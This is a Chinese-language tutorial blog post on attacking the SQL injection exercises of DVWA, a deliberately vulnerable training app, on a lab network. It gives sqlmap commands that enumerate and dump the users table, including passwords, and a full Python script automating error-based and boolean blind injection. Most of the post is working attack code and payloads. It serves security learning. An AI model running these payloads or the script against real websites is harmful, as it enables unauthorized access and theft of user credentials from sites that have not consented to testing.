一)引入:
本文就不讲原理直接上sqlmap工具的使用,靶场环境是DVWA中的SQL盲注。我在之前的文章中已经详细讲解了如何对DVWA中的SQL显注和盲注进行多种方式的利用,并且负伤了详细的payload。参见文章:
1)DVWA—SQL注入(判断数字型和字符型的有效快速方式、union和报错注入的实现、payload提供)
2)DVWA——SQL Injection(Blind)【详细的步骤实现(图解)包含多种盲注方法并且附上了payload】
实际上做时,会写脚本或使用sqlmap,不然工作量太大、耗时太长了。写脚本也不会按照ASCII表去一个个的尝试,可以先判断字符是不是字母,然后再二分查找之类的
二) 实际操作:
DVWA——SQL——low-high
1)先获取cookie备用,按F12,控制台输入 document.cookie
cookie:"security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5"
输入1
进行查询:
探测指定的url是否存在SQL注入:
sqlmap.py -u "http://192.168.67.143/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=nr2dponooe45jv2bnu4np5boe5"
以上的方法可以知道注入点,但是还有一种提高效率的方法:
sqlmap -u "http://192.168.8.190/dvwa/vulnerabilities/sqli_blind/" --forms --batch -v 3 --cookie='...'
2)获取数据库名
1) python sqlmap.py -u "http://192.168.67.143/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=nr2dponooe45jv2bnu4np5boe5" --current-db --technique=B -v 3 --batch
2)python sqlmap.py -u "http://192.168.67.143/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=nr2dponooe45jv2bnu4np5boe5" --dbs
3)python sqlmap.py -u "http://192.168.67.143/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --dbs --batch
使用 1)得到的结果:
结论:数据库名 dvwa
使用 2)得到的结果:
3)获取表名
1) python sqlmap.py -u "http://192.168.67.143/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=nr2dponooe45jv2bnu4np5boe5" -D dvwa --tables --technique=B -v 3 --batch
2) python sqlmap.py -u "http://192.168.67.143/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=nr2dponooe45jv2bnu4np5boe5" -D dvwa --tables
使用 1)得到的结果:
结论:dvwa数据库有2个表:guestbook、users
4)获取列名
1) python sqlmap.py -u "http://192.168.67.143/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=nr2dponooe45jv2bnu4np5boe5" -D dvwa -T users --columns --technique=B -v 3 --batch
2) python sqlmap.py -u "http://192.168.67.143/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=nr2dponooe45jv2bnu4np5boe5" -D dvwa -T users --columns
使用 1)得到的结果:
5)users表内有多少条数据【 4)是有8列(个字段,有5条信息 】
1) python sqlmap.py -u "http://192.168.67.143/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=nr2dponooe45jv2bnu4np5boe5" -D dvwa -T users --count
6)获取数据
1) python sqlmap.py -u "http://192.168.67.143/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=nr2dponooe45jv2bnu4np5boe5" -D dvwa -T users -C user,password,avatar --technique=B -v 3 --dump --batch
2) python sqlmap.py -u "http://192.168.67.143/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=nr2dponooe45jv2bnu4np5boe5" -D dvwa -T users --dump
7)爆指定字段(user,password)
1) python sqlmap.py -u "http://192.168.67.143/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=nr2dponooe45jv2bnu4np5boe5" -D dvwa -T users -C user,password --dump
DVWA——SQL(blind)——low-high
对于high级别由于使用了页面跳转技术,防止了自动化sql注入,使得目前版本的sqlmap无法成功注入。
三)medium级别 Error注入 和 Boolean盲注脚本
dvwa.py
"""
--coding:utf-8--
@File: dvwa.py
@Author:frank yu
@DateTime: 2020.10.13 13:52
@Contact: frankyu112058@gmail.com
@Description:
"""
import requests
headers = {
'Host': '127.0.0.1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '18',
'Origin': 'http://127.0.0.1',
'Connection': 'close',
'Referer': 'http://127.0.0.1/dvwa/vulnerabilities/sqli/',
'Cookie': 'security=medium; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; '
'PHPSESSID=geabfbdgj4h2683s7sc5urlhd6',
'Upgrade-Insecure-Requests': '1',
}
headers_blind = {
'Host': '127.0.0.1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '18',
'Origin': 'http://127.0.0.1',
'Connection': 'close',
'Referer': 'http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/',
'Cookie': 'security=medium; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=dl44r7ov1c3khuv4k3587vgsk2',
'Upgrade-Insecure-Requests': '1',
}
url_not_blind = 'http://127.0.0.1/dvwa/vulnerabilities/sqli/'
url_blind = 'http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/'
def Post(url, headers, data):
req = requests.post(url, headers=headers, data=data)
return str(req.text)
def Get_tables():
tables = []
i = 0
while True:
uid = f'1 and updatexml(1, concat(0x7e, (SELECT table_name from information_schema.tables ' \
f'where table_schema=database() limit {i}, 1), 0x7e), 1)# '
# print(uid)
db_payloads = {'id': uid, 'Submit': 'Submit'}
res = Post(url_not_blind, headers, db_payloads)
if len(res.split('~')) < 2:
break
tables.append(res.split('~')[1])
i += 1
print('tables:', tables)
return tables
def Get_columns(table):
columns = []
i = 0
while True:
uid = f'1 and updatexml(1, concat(0x7e, (SELECT column_name from information_schema.columns ' \
f'where table_schema=database() and table_name={table} limit {i}, 1), 0x7e), 1)# '
# print(uid)
db_payloads = {'id': uid, 'Submit': 'Submit'}
res = Post(url_not_blind, headers, db_payloads)
if len(res.split('~')) < 2:
break
columns.append(res.split('~')[1])
i += 1
print('columns:', columns)
return columns
def Get_data(table, cols):
datas = []
c = ',0x3a,'.join([col for col in cols])
i = 0
while True:
uid = f'1 and updatexml(1, concat(0x7e, (SELECT concat({c}) from {table} limit {i}, 1), 0x7e), 1)# '
# print(uid)
db_payloads = {'id': uid, 'Submit': 'Submit'}
res = Post(url_not_blind, headers, db_payloads)
# print(res)
if res.find('pre') == -1:
break
datas.append(res.split('~')[1])
i += 1
print('datas:', datas)
return datas
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
def Get_db_blind():
# 长度
length = 1
while True:
uid = f'1 and length(database())>{length}#'
len_payloads = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, len_payloads)
if res.find('exists') == -1:
break
length += 1
print('数据库长度:', length)
db = ""
i = 1
while i <= length:
for ascode in range(ord('a'), ord('z') + 1):
uid = f'1 and ascii(substr(database(),{i},1))={ascode}# '
# print(uid)
db_payloads = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, db_payloads)
if res.find('MISSING') == -1:
# print(res)
db = db + str(chr(ascode))
break
i += 1
# print(f'{i}/{length} finished...')
print('db:', db)
return db
def Get_tables_blind():
t_num = 1
while True:
uid = f'1 and (select count(table_name) from information_schema.tables where ' \
f'table_schema=database())={t_num}#'
tableNum_payload = {'id': uid, 'Submit': 'Submit'}
# print(tableNum_payload)
res = Post(url_blind, headers_blind, tableNum_payload)
# print(res)
if res.find('MISSING') == -1:
break
t_num += 1
print(f'tableNum:{t_num}')
tables = []
t = 0
# 所有表
while t < t_num:
table = ""
t_len = 1
# 表名长度
while True:
# 第t+1个表的长度
uid = f'1 and length(substr((select table_name from information_schema.tables ' \
f'where table_schema=database() limit {t},1),1))={t_len}'
tableLen_payload = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, tableLen_payload)
if res.find('MISSING') == -1:
break
t_len += 1
i = 1
# 表名
while i <= t_len:
# 第t+1个表的表名
for ascode in range(ord('a'), ord('z') + 1):
# 第i个字符
uid = f'1 and ascii(substr((select table_name from information_schema.tables ' \
f'where table_schema=database() limit {t},1),{i},1))={ascode}# '
# print(uid)
table_payloads = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, table_payloads)
if res.find('MISSING') == -1:
# print(res)
table = table + str(chr(ascode))
break
i += 1
print('table:', table)
# print(f'{t + 1}/{t_num} finished...')
tables.append(table)
t += 1
return tables
def Get_columns_blind(table):
columnNum = 1
while True:
uid = f'1 and (select count(column_name) from information_schema.columns' \
f' where table_schema=database() and table_name={table})={columnNum}#'
# print(uid)
columnNum_payload = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, columnNum_payload)
# print(res)
if res.find('MISSING') == -1:
break
columnNum += 1
print(f'columnNum:{columnNum}')
cols = []
c = 0
# 所有表
while c < columnNum:
col = ""
c_len = 1
# 列名长度
while True:
# 第t+1个表的长度
uid = f'1 and length(substr((select column_name from information_schema.columns ' \
f'where table_schema=database() and table_name={table} limit {c},1),1))={c_len}#'
# print(uid)
columnLen_payload = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, columnLen_payload)
if res.find('MISSING') == -1:
break
c_len += 1
# print('columnLen:', c_len)
i = 1
# 列名
while i <= c_len:
# 第c+1个列的列名
for ascode in range(ord('a'), ord('z') + 1):
# 第i个字符
uid = f'1 and ascii(substr((select column_name from information_schema.columns ' \
f'where table_schema=database() and table_name={table} limit {c},1),{i},1))={ascode}# '
# print(uid)
table_payloads = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, table_payloads)
if res.find('MISSING') == -1:
# print(res)
col = col + str(chr(ascode))
break
i += 1
print('col:', col)
# print(f'{c + 1}/{columnNum} finished...')
cols.append(col)
c += 1
return cols
def Get_data_blind(table, col):
# 猜测的数据字典
data_guess = 'abcdefghijklmnopqrstuvwxyz1234567890/.'
rowNum = 1
while True:
uid = f'1 and (select count(*) from {table})={rowNum}#'
# print(uid)
fieldNum_payload = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, fieldNum_payload)
# print(res)
if res.find('MISSING') == -1:
break
rowNum += 1
print(f'fieldNum:{rowNum}')
row = 0
# 一行行的爆数据,就不保存了,直接输出
while row < rowNum:
# 数据长度
rowLen = 1
while True:
uid = f'1 and length(substr((select {col} from {table} limit {row},1),1)) = {rowLen}#'
# print(uid)
rowLen_payload = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, rowLen_payload)
if res.find('MISSING') == -1:
break
rowLen += 1
# print('rowLen:', rowLen)
fields = ""
for m in range(1, rowLen + 1):
for chr in data_guess:
uid = f'1 and ascii(substr((select {col} from {table} limit {row},1),{m},1))={ord(chr)} #'
# print(uid)
rowContent_payload = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, rowContent_payload)
if res.find('MISSING') == -1:
fields = fields + chr
break
print(fields)
row += 1
if __name__ == "__main__":
print('dvwa medium级别 Error注入')
Get_tables()
users_hex = str_to_hex('users')
Get_columns(f'0x{users_hex}')
cols = ['user', 'avatar']
Get_data('users', cols)
print('dvwa medium级别 Boolean盲注')
Get_db_blind()
Get_tables_blind()
Get_columns_blind(f'0x{users_hex}')
cols = ['user', 'avatar']
Get_data_blind('users', 'user')
# Get_data_blind('users', 'avatar')
四)参考文献:
网络安全-sqlmap学习笔记
sqlmap上面的总连接
https://blog.csdn.net/qq_41523170/article/details/107228335
Mysql注入知识点
sqlmap参数的讲解和使用